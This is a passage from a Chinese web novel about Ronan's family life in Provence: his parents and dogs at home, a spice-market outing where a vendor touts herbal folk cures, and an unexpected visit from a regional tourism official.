虽然大家未来还是住在一个村子,但还是有着许多微妙的变化。 “确实该抽出时间好好和父母相处了。”想着想着,罗南加快了回家的步伐。 第474章 我一定是充话费送的! 不知是不是佐伊的提醒,让罗南心里产生了变化。 回家的路上,他觉得此时思念的不止是那个躺了一年多的熟悉双人床,还有家里的那两个老人。 48小时不见,你们想我了没有? 我可是想你们了! “我回来了。”一推开门,他便大声的呼唤起来。 罗南的父母没有早睡的习惯,在巴黎生活了一辈子的他们用了一年的时间,才把上床时间提前到了晚上10点左右。 再加上罗南今晚要回家,他断定父母这个时间一定没有休息。 可幻想中的温馨场面没出现,来迎接罗南的,只有一道黑色的狗影。 “我也想你了小黑。”罗南蹲下狠狠rua了几下小黑的脑袋,“其他人呢?” 小黑不语,只是一味的用尾巴抽人。 罗南在一楼转了一圈,发现灯开着,但是没人。 他又去了二楼,在父母的卧室里,见到了正敷着一脸黄瓜片看电视的母亲。 “哎呦,你可吓死我了,回来怎么一点声音都没有啊?”冯珍看到罗南出现在卧室门口吓了一跳,黄瓜片噼里啪啦的往下掉,她赶紧慌乱的往脸上贴着。 “我才被吓死了好吗。”罗南一个后撤步又退了回去,“我在楼下喊,你没有听到吗?” 冯珍仰着脑袋坐直了一些: “看电视呢,没听见。” 罗南发现父母的卧室里居然多出来一台电视机,而且不是客厅里的那台,这个尺寸更大一些。 “新买的?”罗南站到母亲的床旁,跟着她一起看,不出意外的是法国一台播出的狗血爱情剧,此刻正演到男女主、也可能是男女配在雨中重逢的经典剧情。 别看这种剧情‘恶俗’,但特别能拿人,尤其是四十岁以上的妇女,反正冯珍每天都得看。 如果不是因为家里还有一个离不开电视的人,罗南早就把楼下的电视机搬走摆别的了,就跟那个用不上的时钟一样。 冯珍‘嗯’了一声: “你们昨天去了摩纳哥,我寻思和你爸爸也好久没出去了,下午没什么事,吃完午饭去了一趟阿普特,买了台电视机,先在卧室放一阵子,等我们搬到那边时,把它带走放到新房子里。” 突然,她兴奋的拍了两下床垫子,以提示罗南她要讲重要的问题了: “诶,儿子,你说那个新房的客厅墙上,要不要再加点装饰?挂几幅艺术品怎么样?还是摆几幅画呢?” 因为不想耽误餐厅营业,老两口要住的二楼和三楼装修的非常简单,早早的就弄完了。 但罗南和佐伊的婚礼在几个月后,房子的空置时间一长,冯珍的想法就多了起来,经常想要给新房子再加点东西。 罗南笑着坐到母亲的床边: “我都想好了,找薇薇安画幅风景画,内容是你和爸爸第一次约会的米拉波桥,再找马里尼订个木雕,还有其他艺术家的作品,合适的也约一约.最后我再给你做几个编织挂件,足够把那面墙布置好了。” 罗南还担心父母跟自己一样,一想到婚礼临近,心情会比较复杂呢。 对于罗南来说,独立出去和佐伊组成家庭,更多的是期待和激动,不舍的情绪只占一小部分。 但哪个父母能平静的接受孩子长大成人、独立出去呢? 没想到是他想多了 面对即将的‘分离’,母亲的心态很不错。 她有自己的生活,也有很多可以分散精力的事情,该买买,该护肤护肤,该逛街逛街一点没往心里去,这样罗南就放心了。 这是最好的情况。 没有离别的伤感,没有对未来的忐忑,双方都开开心心的面对全新的人生。 既然这样,那么最后的这一个多月共处时间,我们母子之间就多些温—— “下去!”冯珍一脚把罗南蹬下床,“跟你说多少次了?没换衣服不许坐到床上,赶紧换衣服洗澡去,你身上都臭了!” 罗南趔趔趄趄好几步才稳住身形,回头一脸震惊。 不是妈妈你不伤心就罢了,我知道你心大。 母慈子孝的温馨日常我也不奢望了,但最后这段日子,你就不能对我温柔一点吗? 罗南回卧室洗澡,在自己的卫生间里遇到了正在给马赛洗澡的父亲。 “怎么在我这里给它洗澡?”罗南探了个头进去。 罗天海用毛巾包住马赛吸水,头都没回的说: “你这里有浴缸,马赛喜欢玩水,洗澡之前让它玩了一会。” 俗话说得好,会嘤嘤嘤的女孩最好命。 会嘤嘤嘤的狗也是家里命最好的。 只要罗天海在家,马赛一定会想方设法的让他抱自己,它都一40多斤的大狗了,还觉得自己是4个月的宝宝呢。 罗天海也是真的宠狗,每天回家第一件事就是给它和小黑好吃的,都是从餐厅带回来的肉或者鱼。 后来,小黑和马赛跟着一起去餐厅‘上班’过一段日子,因为罗天海不放心让两只狗自己在家里。 但旅行季开始后,餐厅里的人太多,两只狗再待在那里就不方便了,只能待在家里,这把罗天海难受的狗还没什么事呢,他先得分离焦虑症了。 罗南经常开玩笑的对马赛说,要教它用电话呢。 马赛比小黑会‘察言观色’,能看出来罗南是在用它寻开心,最近这段日子见到罗南都绕着走,跟见到天敌似得。 当然了,这事也怪罗南.可能是由于马赛的性格原因,罗南总是想逗它,看看这个‘影帝’什么反应。 “游泳池马上就修好了,到时候让它和小黑好好玩,每天想游多久都行。”罗南这个‘父亲’虽然嘴贫了一些,但对两只狗还是很好的。 可罗天海不这么认为,他一边给马赛梳毛一边说: “等你和佐伊结婚,马赛和小黑跟着我们住吧。” “别啊。”罗南收敛起了笑意,“我这里地方大,后院全都是可以玩的东西,佐伊还为了家里的几个宝宝特意设计了喝水的蓄水池,跟你们走,它们每天只能在家里,哪里都不能去。” 罗天海沉声了几秒,语气冰冷的说: “我怕你照顾不好它们。” 罗南一边脱上衣,一边笑着说: “你们没来之前我把小黑照顾的可好了,就算你不放心我,难道还不放心佐伊吗?她对孩子们比你还要上心呢,以后她每天在家里工作,正好可以照顾它们。” “你要干什么?”罗天海见罗南脱光了衣服,回头问。 罗南无辜的愣在原地: “洗澡啊。” 罗天海语气不太好的对他摆手: “你先出去,马赛不喜欢你离的太近,等我们洗完了你再进来。” 似乎是知道有人给自己撑腰,影帝马赛还狗模狗样的对罗南“汪汪”了两声。 罗南无语的退出卫生间,排队洗澡。 在半敞的门缝里,听到罗天海嘀嘀咕咕的自言自语。 “如果罗南欺负你,你就去餐厅找我,餐厅你知道在哪里吧?” “对我叫三声,我就知道那臭小子欺负你了,你看我怎么收拾他的。” “如果是小黑被欺负了,你对我叫两声.听懂了吧?” 罗南站在外面不停的叹气。 母亲一直是一个心大的人,她的反应罗南理解。 但心思细腻的老父亲怎么也是这幅样子啊. 相对于自己,他似乎更舍不得的是这两条狗?? 因为要排队,罗南洗完澡已经很晚了,早就过了他平时休息的时间,这个点喜欢熬夜的父母也都躺下了。 不过可能是刚洗完澡的原因,他倒是挺精神的。 正要找点事情做,余光看到卧室门被推开了一个小缝隙。 一张苍白的脸在黑暗中若隐若现,还是个披头散发的。 “我的妈呀!”罗南吓得跌坐到床上,整个人都紧绷了起来。 “喊那么大声干嘛啊,几点了?”罗南的亲妈拍着脸走进了卧室里。 “不是敷完黄瓜了吗?”罗南惊魂未定的问,“怎么又敷上面膜了?” “不是一个功效的,一个是紧致皮肤,一个是补水保湿,普罗旺斯的夏天太晒了,要提高补水的频次。”冯珍把面膜揭下来,往前一递,嫌弃的问,“还有点别浪费,你敷敷吧,看你黑的。” 罗南唉声叹气的摆手: “不了不了,留给爸爸吧,这么晚怎么还不睡?” 罗南算是看明白了,母慈子孝的生活绝无可能出现在这所房子里。 母亲只可能不停的戳他的心窝子。 冯珍把面膜往罗南手上一扔: “等你呗,还能干什么啊,你回来的也太晚了,我做了三套护肤流程才等到你!不行了,我不能熬了,会加速衰老,我去睡觉了,你把面膜给你爸送下去,让他敷敷脖子。” 罗南接下那张面膜,懵逼的问: “他也没睡?” “电视里说摩纳哥吃的又贵又不好,怕你吃不好,他给你熬了好几个小时的汤,说回来让你喝一碗补补。”冯珍的身影消失在黑暗中,“冰箱里还有我给你做的几道凉菜,如果饿了吃点再睡。” 楼下。 罗南用罗天海吊好的汤下了一碗面,面前摆着母亲做的各种解暑小菜,熟悉的味道进嘴,终于有回家的感觉了。 “我还以为你们是忘了关楼下的灯,原来是在等着给我做东西呢。” 罗天海是那种典型的嘴硬父亲,他可以行动上对儿子好,但让他承认下来那是绝对不可能的。 “下午午觉睡的时间有点长,一点不困,熬点汤明早喝,让你赶上了。”给马赛洗完澡,罗天海又给小黑梳起了毛,他起来拍了拍手,又看了看罗南吃了多少东西后才放心的离开,“吃完泡水池里就行,赶紧休息,我上去了。” 罗南对着父亲的背影问: “明天是不是要去进香料?” 普罗旺斯香料是餐厅最重要的原材料之一,为了做好把控,罗天海要亲自去市场上买,以保证质量。 “对,明天我和你妈妈一起去。”罗天海继续上楼,脚步没有停下。 罗南把嘴里的东西咽下去: “明天上午,我陪你和妈妈一起去。” 不管父母是什么心态,反正罗南有点舍不得他们。 他决定在独立前的最后这段日子,尽可能多的和父母待在一起。 就像佐伊说的不要留下遗憾啊。 第475章 闻‘香\’普罗旺斯 普罗旺斯人有多爱香料呢? 杂货铺、熟食店、肉铺、面包房、特产店、美食精品店、纪念品商店、餐厅、火车站、机场、高速公路加油站和高级百货商店等几乎任何商业系统里,都可以买到这种东西。 如果哪一家普罗旺斯人在做饭的时候发现香料没了,出门10分钟之内一定可以买到他想要的种类。 就连卢尔马兰这种基础设施并不完备的中世纪小村子,也可以找到近十处卖香料的地点。 干燥的香料可以放置几年的时间,无论是放到罐子里还是瓶子里,一打开都可以闻到扑鼻的刺激香气。 所以老板们不管卖不卖的出去,都喜欢进一些货摆到自己的商铺里。 万一有外地傻子买走了82年的陈年百里香了呢? 在不经常接触香料的地区,人们区分不出味道的区别,只会觉得刺鼻。 可这些小把戏瞒不过被香料腌入味的普罗旺斯人。 香料专家弗雷迪可以一口尝出香料是否是陈年的,而有这种本事的‘专家’比比皆是。 当然了,是不是真的有这个本事就不得而知了,反正大家都以此彰显自己在香料领域的超强能力。 但这市面上的小把戏又何止一个年份呢? 随着普罗旺斯香料和这片土地一样,在世界拥有一席之地,各种‘以次充好’的香料开始涌入这个庞大的市场里。 土耳其的月桂叶、埃及的马郁兰、摩洛哥的百里香、西班牙的迷迭香这些外地芳香植物凭借华丽的包装手法创造了一个个奇迹,摇身一变拥有了新的名字——普罗旺斯香料。 香气是否浓郁很好区别,但来自不同国家的相同香料,在味觉和嗅觉上的区别并不大.可以用细微来形容。 现在连土生土长的普罗旺斯人都搞不清他们吃进嘴里的香料到底是不是本土的了。 然而在普罗旺斯,只要跟吃扯上关系就会格外的较真,大家必须吃到本土的香料,其他地区的次等货滚出这里! 这种心态就导致那些赝品做的越来越逼真,连六七十岁的老人都无法保证他们能成为行走的‘验香机’了。 于是在普罗旺斯厨师界,有一条不成文的规定——香料只买散装的,只要装进容器里就有‘靠包装以次充好’的嫌疑。 大厨们通常不会去商场买号称是经过了300天日晒,用弱碱水浇灌出来的迷迭香,只会去集市上挑选那些相对廉价的、直接暴露在空气中的。 罗天海会去博尼约的集市上购买香料,每周来一次。 以前他是自己过来,这周变成了全家的集体活动。 “我们一家多久没有出来逛集市了?”才刚走了一排摊位,冯珍手里就拿着两个袋子了,里面是新鲜的草莓和樱桃,都是当季的水果。 居住在普罗旺斯就是有这样一种魔力——无论你昨天吃了多少草莓和樱桃,一觉睡醒看到新鲜的还是无法控制住自己的手抓向它们。 罗南今天起晚了,没有赶上吃早饭,他一边看四周的摊位,一边从妈妈的水果袋子里拿草莓,简单擦一下就往嘴里塞: “上一次好像是还是去年的复活节?你们第一次来普罗旺斯,我带你们在周围玩了一圈,但是没来这里。” 卢尔马兰附近最大的集市是梅纳村,有这个吕贝隆最著名的集市在,来稍远一些的博尼约逛集市的机会就少了。 “为什么来这里买?卢尔马兰和梅纳村也有卖香料的摊位啊。”罗南问背着手在前面走的罗天海,“为什么非要来这里?” 集市上卖香料的摊位非常多,罗天海顺手沾了路边一个摊位的香料,放在鼻尖闻了闻,又舔了一下: “这里有我千挑万选找出来的‘良心卖家’,你以为这些卖散装的就全部老实?” 罗南挑选食材主要靠鼻子,哪个味道最对,最浓郁就买哪个。 但他清楚,普罗旺斯的厨师们挑选香料的确是有经验之谈的。 他回头看了一眼罗天海刚刚路过的香料摊位: “那家不行?” 罗南成长的太快了,即使在干了几十年的美食领域,罗天海都好久没有‘当爹’的机会。 见这小子居然有短板,他雄赳赳气昂昂的说: “这些散装香料是本地的,至少这种大型集市上的不会造假,因为来买的都是本地人,卖了假货,很有可能会被人堵到门口骂,他们不敢在原产地上做手脚,但不免在其他地方起了歪心思,比如往里面掺点其他的东西。” “往百里香掺棕树叶一点都看不出来,还有用鼠尾草茎当迷迭香卖的,刚刚那个摊位的龙蒿里,绝对混了艾草,虽然不多,但骗不过我的鼻子和嘴。” “厉害啊。”罗南又从冯珍的袋子里‘偷’了一把樱桃。 到了专业的领域,罗天海的话明显多了: “尤其是许多本地厨师喜欢把多种香料放到一个菜里,掺点别的东西更加不好区分了,我也是费了好大的功夫,才找到那家摊位的。” 罗南往手心里吐了几颗樱桃核: “因为咱们家没有混用香料,让你品出好坏了?” 罗南已经好久没有管过餐厅的具体事务了,尤其是菜品,都是罗天海自己订菜单和做口味升级。 不过罗南经常吃,还是能尝出一些改良和进步,而且是非常明显的。 为了让本地人适应中餐的口味,罗天海会在菜里加香料,尤其是海鲜和肉类。 以前香料的口味很复合,今年能明显感觉到,每道菜里出现的香料通常只有一种,让味道做到了绝对的统一。 罗天海点点头,对罗南的发现没有什么意外,这小子的舌头和鼻子比他还厉害,这些事情自然瞒不过他。 “迷迭香配羊肉,杜松子配野味和牛肉、鼠尾草配猪肉和土豆、茴香配鱼、百里香搭配烧烤类、龙蒿配鸡肉或者嫩牛肉、月桂叶配鱼和牛肉、罗勒配西红柿、风轮菜配奶酪.”罗天海一连说了十几种搭配才停下来,“以后特定的香料只会搭配特定的食材。” 普罗旺斯的香料种类繁多,食材与香料的搭配也不是固定的,罗南有些好奇父亲为什么要把搭配固定下来: “为什么要固定搭配?味道丰富一些是不是能吸引更多的人?” 罗天海露出了一个‘高深莫测’的笑容: “咱们餐厅现在已经不缺顾客了,缺的是‘特色’,固定搭配就是为了营造让人印象深刻的味觉记忆,这是我从那些米其林餐厅学习来的东西。” 在罗南的努力下,餐厅火热到即使开了二店也无法招待全部来吃的客人。 心思细腻的罗天海自然要往前想一步了。 从如何赚到更多的‘钱’,变为如何在赚到更多钱的同时收获更多的‘名’,而成为米其林餐厅就是他们的下一步目标。 罗南给父母减负了,让他们不用每天捆绑在餐厅里,罗天海利用这个机会不断的充实自己,没事就去普罗旺斯的著名餐厅里‘学习’,因此有了一些心得和计划。 罗南一把拉住超过他们母子俩一个身位的父亲,把他夹在了自己和母亲的中间: “老爸,你太厉害了,开餐厅是我做的最正确的决定,咱们餐厅一定很快就要多一颗星星了!” 罗天海很满意今天的‘亲子活动’,儿子的夸奖更是让他踩在了云朵里——飘了。 “这才哪儿到哪儿,我的计划还有好几步呢,慢慢执行。” 罗南左手挎着爸爸,右手挎着妈妈: “好,我和妈妈全力支持!” 这就是他想要的温馨场景啊! 但温馨的场景维持了一秒钟就没了——冯珍没有团队意识的离开了老公和儿子,径直走向一个有不少人排队的摊位。 “诶诶诶,你干什么去啊?”父子俩异口同声的问。 冯珍踮着脚尖看摊位上的东西: “罗南都快把我买的水果吃完了!快给他买点正式的东西吃吧,我还想把它们带回去给莉亚和妮可拉尝尝呢。” 为了保护自己的新鲜水果,冯珍给罗南买了两张吕贝隆的特色早餐——香草佛卡夏。 这种由橄榄油面团镶嵌迷迭香、百里香和熏盐,烘烤出的松脆面包是吕贝隆本地人非常喜欢的早餐。 他们会撕下一小块配上新鲜的山羊奶酪,美好的一天就这样开启了。 罗南没有那么多规矩,抱起一整张直接开啃。 担心儿子被噎着,冯珍又给他在集市上买了一杯山羊奶草本饮。 这也是吕贝隆本地人非常喜欢喝的东西,热山羊奶浸泡新鲜墨角兰和龙蒿,有的摊主还会加入欧芹,熬制过后过滤干净,加入本地蜂蜜。 “多喝点,这东西有助消化,你吃太多了!”在罗天海挑选香料时,冯珍不停的把那杯从铜壶里倒出的滚汤饮品灌入罗南的嘴里,“你怎么能吃这么多啊,我和你爸爸两个人才能吃完一张,你一张居然不够!” 罗南一边嘶哈一边说: “因为今天开心啊,开心胃口就好了。” 今天的氛围让罗南想到了小时候。 小时候他也经常跟着爸爸妈妈一起逛市场,罗天海在里面挑东西,冯珍专职照顾儿子,那是他小时候非常美好的回忆。 听到罗南有可能吃多了,那卖香料的摊主突然来了兴致: “吃多了,喝山羊奶草本饮没用,起到消化作用的其实是里面的香料。” 他捧起了一把香料递给罗南和冯珍: “看看这个吧,所有疑难杂症都可以靠香料治愈。” 这一次连蹲着的罗天海都看了过去。 什么东西,用香料治病? 第476章 罗医生好! 从中世纪起,欧洲的药方中就经常出现香料的身影。 普罗旺斯医生用百里香、迷迭香和白醋制作对抗黑死病的‘四贼醋’。 修女们用墨角兰茶缓解痛经。 现代医学虽然只肯定了姜、薄荷和大蒜在医学的地位,并号召民众不可擅自下处方耽误正规治疗,但普罗旺斯老一辈人遇到疑难杂症时,依然习惯先抓一把香料熬制成‘女巫的药水’。 这就跟年轻一些的本地人哪里不舒服会喝一杯橄榄油一样. 香料的药用知识在普罗旺斯虽然使用率不高了,但并不冷门。 年轻人说不清楚哪个香料的疗效是哪个,但肯定听过家里长辈说香料能治病。 这位香料老板是看到罗南一家都是黄皮肤,才会如此认真的讲出来。 事实上,在中国的传统古籍,例如《黄帝内经》中也记载了不少可以食用的芳香类植物在治疗疾病方面的疗效。 奈何罗天海和冯珍离开家早,教育水平也不高,在巴黎生活时,香料没有像在普罗旺斯这里一样重要,更没有谁头疼脑热了先往厨房跑。 这就导致香料老板的话还真把他们唬住了。 这从他们一脸‘你是不是在骗我’的表情上就能知道。 老板见对面人的反应,就知道今天他‘大展拳脚’的日子到了,把手里的茴香籽捧得更高了: “用茴香和迷迭香给你儿子沏茶喝,我保证中午他又能吃下两份佛卡夏。” 罗南没心没肺的说: “不用不用,什么都不喝我也能再吃下去两张。” 冯珍把罗南扒拉开,半信半疑的问老板: “真管用吗?” 那老板大手一挥,指着它的摊位说: “太太,你完全可以把我这里当作一间药房,这里的每一种香料都能治疗疾病,那些西药会让你的器官衰竭,而普罗旺斯本土香料可以让你的各个器官越来越健康。” 冯珍的好奇心不是盖的,不了解清楚她今天晚上都睡不着觉.相当配合的问: “所以茴香和迷迭香可以治疗消化不良?” 她指着另一种香料问: “那百里香呢?它的疗效又是什么?” “那是牛至——”罗天海生怕这个老板拿他们一家当大傻子骗,赶紧结束了这个话题,“先帮我称重吧,我们待会还要去其他地方。” 但老板的演讲欲也被勾起来了啊.哪是说掐断就掐断的? 他一边按照罗天海的要求把香料熟练打包称重,一边给冯珍上健康讲堂: “野生百里香可以治疗咳嗽和哮喘,金丝桃可以磨碎舒缓烫伤、罗勒可以缓解胃痛、杜松子用来减轻风湿痛、比萨草具有强力消炎功效,以前闹瘟疫的时候医生们都用它,所以这种东西的价格现在还没有降下来先生,您要不要再拿点风轮菜干粉?” 那香料店主突然转头看向罗天海: “我这里的风轮菜没有掺杂任何东西,疗效非常强!” “风轮菜的疗效是什么?”罗天海站起来问。 风轮菜的口味较重,辛辣、微酸还有些苦,适合搭配野味使用,普罗旺斯当地菜馆常常在烹饪野兔肉、鹌鹑、羊颈肉和野猪肉时加入它,搭配鱼类和蔬菜时苦味会被无限放大。 而以上的野味,餐厅里都没有,所以平时几乎不会买它。 但如果它有其他疗效.罗天海会考虑买一点带走。 那老板听到问题没有着急回答,看了看罗天海,又看了看冯珍,期间伴随不明所以的奇怪微笑.把两人笑害怕了。 罗南把最后一口佛卡夏塞到嘴里: “老板人真好,知道我一直想有个弟弟或者妹妹。” 那老板拍着手哈哈大笑起来: “你们有一位非常地道的‘普罗旺斯’儿子啊,风轮菜的功效不是所有人都知道,它可以增强性欲,要买点一点吗,先生太太?” “你怎么会知道风轮菜的功效?” 买完香料,罗南一家三口继续逛博尼约集市,亲子活动还在继续。 但冯珍对罗南为何了解普罗旺斯香料的医疗功效而‘纠缠不休’。 这些香料知识是普罗旺斯人一代一代传下来的,书本上都找不到,但罗南家没有传过这种知识给下一代啊,那他是怎么知道的呢? 尤其知道的还是那方面的功效,不会是. “我听朋友提起过,记住了。”罗南意图转移母亲的注意力,“要不要再买点樱桃?好久没吃烤肉了,我们用樱桃做点烤肉酱怎么样?莉亚用樱桃做的烤肉酱太好吃了。” “哪个朋友?你别跟我说是特奥他们啊,他们看起来不像是这么有‘学问’的家伙,他上次手被锤子砸紫了还抹橄榄油呢,康奈尔犯痔疮时也喝橄榄油,我猜你其他卢尔马兰朋友也差不多是那样。”冯珍根本不上当。 “不是那些朋友,是外村的。”罗南突然指向一个水果摊位,“我们今年是不是还没吃过水蜜桃?这好像是最好吃的‘五月花’啊,我们去买点吧。” 冯珍揪住罗南的脖领子,把他留下: “哪个朋友,我认识不认识,来过咱们餐厅吗?” 罗南终于放弃了抵抗,无奈的叹气。 他非常了解母亲的性格,一旦怀疑起什么事情,不给她个合理的解释,这件事没办法翻篇了。 只怪他今天状态太放松、心情太愉悦,说话时有些随意系统给的知识就这么口无遮拦的说出来了。 同时他也猜到了母亲那狗血爱情电视剧看多了的脑袋里想的是什么,但他还没结婚呢,怎么让这种谣言留下? “来过,是一些开餐厅的朋友们,阿图尔你还记得吧?就是去年餐厅刚开业时,经常来吃饭的那个,他带我认识过许多开餐厅的朋友,我们在聚会上聊起香料话题时他们说过一些,我记住了。”为了让自己的话更加可信,罗南继续解释道,“其实风轮菜的功效特别多,那老板说的只是其中的一个,生嚼可以治疗胃痉挛,与月桂叶和迷迭香一起炖汤能清肠,那老板跟我的朋友们比差远了。” 罗南说的像模像样,而且冯珍也确实对罗南说的那个朋友有印象。 本地干餐饮的人,了解香料知识确实挺合理的。 “哦——”冯珍拉长了一个尾音,终于把注意力放到两边的集市上了,“下次见到,问问你朋友,有没有能减肥的,我最近有点吃胖了。” 减肥是女人一辈子的事业,类似的话从罗南上小学时就能时常听到。 “那叫胖吗?”罗南讨好的说,“妈妈,你那叫富态,咱们不减啊,减下去就没有那股子‘味道’了。” “什么‘味道’啊?”冯珍瞥罗南。 你这孩子会不会说话? 我说胖你就‘顺杆儿爬’啊。 你应该说——妈妈,你苗条的不得了,哪里胖了? 罗南嘻嘻哈哈的说: “富家太太的味道,人家一看到你,就知道我爸老有钱了,我也能跟着你沾光变成富二代,你等我过几天带你去艾克斯买点首饰和项链,咱们好好打扮打扮,那就更像了!” 罗天海习惯站到老婆和儿子前方一两步的地方,这会突然减慢了速度,和罗南并排: “你那个叫阿图尔的朋友,好久没来了。” 罗天海也对罗南的这个朋友有印象,开业时他总来‘偷师’,罗南还特别主动的帮助过他。 罗南撇嘴: “是的,好久没来了,可能是路没走通,放弃了。” 罗南已经教会了阿图尔好几道中国菜,如果他成功了,一定会继续来学习其他。 但去年冬天之后,阿图尔再也没出现过,最大的可能就是他尝试过了,但结果并不理想。 罗天海露出了思索的神情,对罗南说: “等你有时间了,把这些开餐厅的朋友们约来,介绍给我认识一下。” 罗南一下子就想明白了罗天海要干什么: “给未来铺路?” 罗天海的下一个目标是把餐厅经营成米其林。 米其林评委的到访完全是自发且匿名的,餐厅无法主动申请或报名接受评审。 但通过增加美食指南和媒体报道的曝光率、提升地区内的行业口碑和吸引更多到访食客数量等手段,可以有效的提升评委们注到这里的概率。 卢尔马兰政府的每一篇媒体通稿中,都会带着罗南的餐厅,而且是非常大篇幅的,那是卢尔马兰的重要地标,因此美食指南和媒体报道的曝光一直在做。 罗南也从未停下过吸引食客来吃饭的脚步,而且做的特别好。 那么现在唯一欠缺的就是地区内的行业口碑了。 罗天海希望认识更多的同行。 罗南已经做的够多了,剩下的交给他吧。 “好,我回去就安排。”罗南立即答应下来。 他的精力有限,确实没有好好利用那些资源。 罗天海为人处事张弛有度,又一直在餐饮界发展,只要他想,一定可以很好的融入那个圈子。 “哎——”冯珍笑着叹气,“儿子长大了。” 她把手掌放到自己的大腿位置: “我记得那个时候罗南就这么高,我拉着他的手跟你去市场买菜,他只会哇哇哇的叫,吃这个,吃那个,现在都能和他爸爸聊大事了。” 罗天海也笑着背起了手,又把老婆和儿子甩开一个身位,就像十几年前时一样: “可不长大了,马上结婚了。” 罗天海和冯珍怎么会没有因儿子长大成人的伤感呢? 罗南求婚那天夜里,冯珍的眼睛都哭成灯泡了比路易还夸张。 但他们知道,这是好事,儿子的未来只会越来越好、越来越幸福,所以刻意把这些情绪压下了。 可偶然不经意的触碰,还是能拨动起涟漪,让人心里不是个滋味。 “再长大,我也是我啊。”罗南像是个愣头青一样,冲向一个摊子,哇哇哇大叫,“杏仁下市了?我们买点吧,回家我们自己做杏仁冰淇淋和小蛋糕!” “这孩子多大了怎么还那么贪吃啊!”冯珍一边骂,一边笑。 这跟小时候有什么两样? 在市场里走一路吃一路! 正想和老公一起讨论,一抬头罗天海走出去老远了。 “你干什么去?”冯珍在后面喊。 “买水蜜桃,刚才罗南说想吃来着。”罗天海走向另一个摊位。 冯珍嘟嘟囔囔的走向其他方向: “那我再去买点樱桃,晚上吃烧烤吧。” 没办法,儿子想吃啊! 第477章 意外的访客(改版) 罗南一家满载而归。 不仅又买了樱桃和水蜜桃,还买新鲜杏仁、桑葚和白香瓜。 带回来的蔬菜种类就更多了,番茄、西葫芦、芦笋、洋蓟、蚕豆.还有新鲜的大蒜。 所有的所有,都是刚刚摘下来的。 虽然拎着大包小包的东西,但罗南的步伐无比轻快: “我进去就给弗雷迪打电话,让他送两只小羊羔来,再带些新鲜的牛肉,咱们晚上吃烧烤,除了樱桃做的烧烤酱,再做一份大蒜蛋黄酱吧,新蒜的口感一定非常不错。” 罗南不喜欢吃大蒜味道的东西,可今天居然主动为朋友们着想,要准备一份浓郁的大蒜配方说明他的心情非常好。 知子莫若母。 冯珍自然也看出来了,儿子这是去集市逛开心了,眉眼带笑的说: “以后咱们定期去一次,跟今天一样,记得带上佐伊一起,哎呀,你看我这脑子!刚才还想着给她带点海鲜回来呢,一扭头忘了。” “没事没事,一会去买一趟。”罗南兴致勃勃的说,“鱿鱼、龙虾、鳕鱼.我想想啊,还有什么做烧烤好吃呢?” 罗天海拎着东西超过了儿子和老婆: “我去吧,我先把香料送去餐厅,之后直接去了。” 大孝子又把父亲超过了过去,像是竞走比赛似的: “还是我去吧,我去送香料,再去买海鲜,中午吃的有点多。” 罗南在集市上就吃了不少,后来又带父母去了雅克先生的米其林餐厅,介绍他们认识。 虽然还没到正式的午饭时间,但都去米其林了,自然吃些东西,罗南肚子都圆了。 今天的亲子活动相当成功,儿子主动抢活儿干,罗天海也就不和他争了: “那你放下东西赶紧去吧,这个时间海鲜剩下的不多了。” 夏天,吕贝隆的海鲜资源比较匮乏,缺乏冷链技术导致供应商不想把肥美的海鲜送到这个地方,如果想吃新鲜的必须早点去抢,这都快中午了,还有没有新鲜的真不一定了。 “那我先给餐厅打个电话,让人出来接我。”罗南一溜烟的跑没影了。 现在想要在卢尔马兰找到停车位非常困难,尤其是商业街的附近。 许多本村人都要把车子停到远离村中心的荒地上了。 罗南想着快点去买海鲜,进入家中先给餐厅打去了电话,让前台找个人去商业街的路口接香料,罗南就不下车了,放下东西直接走。 但这会在前台接替冯珍盯班的人却告诉罗南: “你还是来一趟吧,有个人说找你有事,已经等了有一阵子了,刚刚我一直给你家打电话,没有人听。” 餐厅开业后,时不时的就会来个人说‘找罗南有事’,实际都是想要蒙混过关插队的。 罗南回忆了一下,最近没有哪个朋友提前通知,说要来找他: “说找我什么事情了吗?那种一看就不靠谱的人直接劝走吧,就说我今天不去餐厅。” 电话那端的声音突然放大了许多,像是用手捂住了话筒,嘴唇贴到听筒上说的: “没说找你干什么,但她说她是沃克吕兹省旅游局的。” “沃克吕兹省旅游局?还是女的?”罗南不禁提高了音量,因为那个服务员用的是阴性的‘她’。 而罗南只认识一个沃克吕兹省的官员昆西,可他是男的。 “是的,是个女人,年纪还不小了,我猜应该没人会拿旅游局开玩笑吧?”那服务员催促,“所以你还是赶紧来一趟吧。” 卢尔马兰的第二份预算申请报告交上去有一阵子了。 除了政府里最核心的几个官员,没人知道卢尔马兰这次又可以得到多少拨款。 不过,五一长假过后,沃克吕兹省各部门来卢尔马兰考察和指导工作的次数明显多了起来,很显然,这个来自吕贝隆山区的小村庄吸引了不少上级部门注意。 要知道在以前,旅游局、农业部、财政司和工商联盟等政府部门几年都来不了一次卢尔马兰,可今年长期驻派的事情都发生两起了。 几个月前,为了接待上级部门来考察,卢尔马兰狠狠的准备了一番,而现在,接待从沃克吕兹省来的官员已经成了政府的日常工作,无需为此提前‘大费周章’的准备,因为为了应对激增的游客量和各种挑战,卢尔马兰每时每刻都在最‘完美’的状态中,从未松懈过。 当然了,还有另外一层原因,卢尔马兰政府实在没有精力再准备什么.他们太忙了,忙着搞基础建设、忙着扩建、忙着盖房子、忙着安顿游客,忙到接待领导都凑不齐太全的人。 上一次昆西带队来卢尔马兰视察,全卢尔马兰政府的官员几乎全部跟在两侧,那叫一个气派。 这次还是同样的考察小队,还是同样的考察成员,跟在昆西、威力和艾利安身边的,只有克劳德和他部门里的一个同事。 一行五人混杂在人来人往、异常热闹的街道中没有引来任何人的关注,就像是一行普通游客一样,这看看,那谈谈,气氛相当悠闲。 换一个方式想,其实这次旅游局的考察小队也不需要什么陪同.以昆西对卢尔马兰的了解,他都可以胜任接待的工作了,来卢尔马兰就像去自己家后院看看一样。 “这才几个月啊,卢尔马兰变化太大了。”威力从公共卫生间里出来,甩了甩手上的水,“建成了许多新的卫生间,里面既干净又明亮,隐私性也好。” 太好了,终于不用被热心村民陪尿尿了.威力开心的想着。 卫生间改造工程是昆西在卢尔马兰时亲自指导的,他对此自然有许多发言权: “目前卢尔马兰的公共卫生间条件是吕贝隆这些村庄中最好的,上一批大肆翻修卫生间的村子还是在几年前,年底之前这里要修建多处‘饮水泉’,把基础设施继续完善,成为各种方面的‘最佳’村子。” 卫生间是吕贝隆的一大痛处,那些土耳其马桶不知道吓走了多少外地来的人。 毫不夸张的说,就凭卢尔马兰村里这些升级过后的新厕所,就能拉高一大块游客心中的印象分。 见周围安静下来,昆西回头看向落在队尾的安利安: 